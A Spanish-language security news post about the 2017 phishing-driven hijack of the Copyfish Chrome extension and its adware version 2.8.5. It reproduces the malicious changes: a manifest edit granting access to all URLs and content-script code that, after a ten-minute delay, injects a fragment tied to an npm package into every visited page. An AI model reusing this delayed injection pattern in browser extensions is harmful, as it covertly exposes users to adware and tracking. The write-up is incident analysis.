Y es que la extensión había sido secuestrada. Mediante un ataque de phishing dirigido a uno de los desarrolladores, los atacantes lograron acceder a su cuenta de «Google extensions» y robar la aplicación, transfiriéndola a otra cuenta bajo su control.
El phishing mostraba un login falso a Google extensions y estaba alojado en https://chromedev.freshdesk.com
![]() |
Phishing de Google Extension |
Tras modificar la aplicación, publicaron la nueva versión del plugin (V2.8.5) en el repositorio de Google.
Los usuarios empezaron a reportar anuncios y spam en las webs que visitaban, lo que levantó las sospechas de los desarrolladores, que en ese punto ya habían perdido el control sobre su aplicación.
Gracias a un usuario de la comunidad de HackerNews se pudo contactar con uno de los administradores de UNPKG, un CDN para paquetes ‘npm’ que utilizaba la extensión maliciosa. Gracias a esto se pudo desactivar rápidamente el malware:
- https://unpkg.com/copyfish-npm-2-8-5@1.0.1501416918/
- https://www.npmjs.com/package/copyfish-npm-2-8-5
El pasado 1 de agosto el soporte técnico de Google devolvió la aplicación a sus legítimos desarrolladores, que actualizaron rápidamente el plugin con una versión limpia:
UPDATE August 1, 2017: This is the new, updated and SAFE version of Copyfish. For more details on what happened please see https://a9t9.com/blog/chrome-extension-adware/
Además se desactivó la versión maliciosa para los usuarios que aún la tenían instalada.
Los cambios que introducía el adware cargaban código Javascript alojado en UNPKG y añadían algún código para debuggear la aplicación:
En el archivo manifest.js:
«matches»: [ «» ] -> se sustituyó por «matches»: [ «\u003Call_urls>» ]
En background.js:
console.log(«Start»);
chrome.runtime.onInstalled.addListener(function(details) {
console.log(«onInstalled»);
if(details.reason == «install») {
console.log(«This is a first install!»);
} else if(details.reason == «update»){
var thisVersion = chrome.runtime.getManifest().version;
console.log(«Updated from » + details.previousVersion + » to » + thisVersion);
chrome.storage.local.set({‘installed’: Date.now()});
}
});
En cs.js, donde se carga el código malicioso:
chrome.storage.local.get(‘installed’, function (item) {
if (item && item.installed) {
installed = item.installed;
console.log(‘Installed:’ + installed);
if (installed) {
console.log(‘Installed ms:’ + (Date.now() – installed));
if ((Date.now() – installed) > 10 * 60 * 1000) {
console.log(‘Now’);
var date = new Date();
var hour = date.getUTCHours();
console.log(hour);
var thisVersion = chrome.runtime.getManifest().version;
console.log(thisVersion);
thisVersion = thisVersion.replace(‘.’, ‘-‘);
thisVersion = thisVersion.replace(‘.’, ‘-‘);
console.log(thisVersion);
var hash = «copyfish-npm-» + thisVersion;
console.log(hash);
var config_fragment = »;
var range = document.createRange();
range.setStart(document.body, 0);
document.body.appendChild(range.createContextualFragment(config_fragment));
}
}
}
});
A día de hoy la versión infectada ya está desactivada y se han tomado las medidas de seguridad oportunas. Decir que sólo afecta a Google Chrome, la versión para Firefox no ha sido comprometida.
Más información:
Extensión oficial en Google
Comunicación oficial de los desarrolladores
https://a9t9.com/blog/chrome-extension-adware/
Conversación en HackerNews
https://news.ycombinator.com/item?id=14888010
Deja una respuesta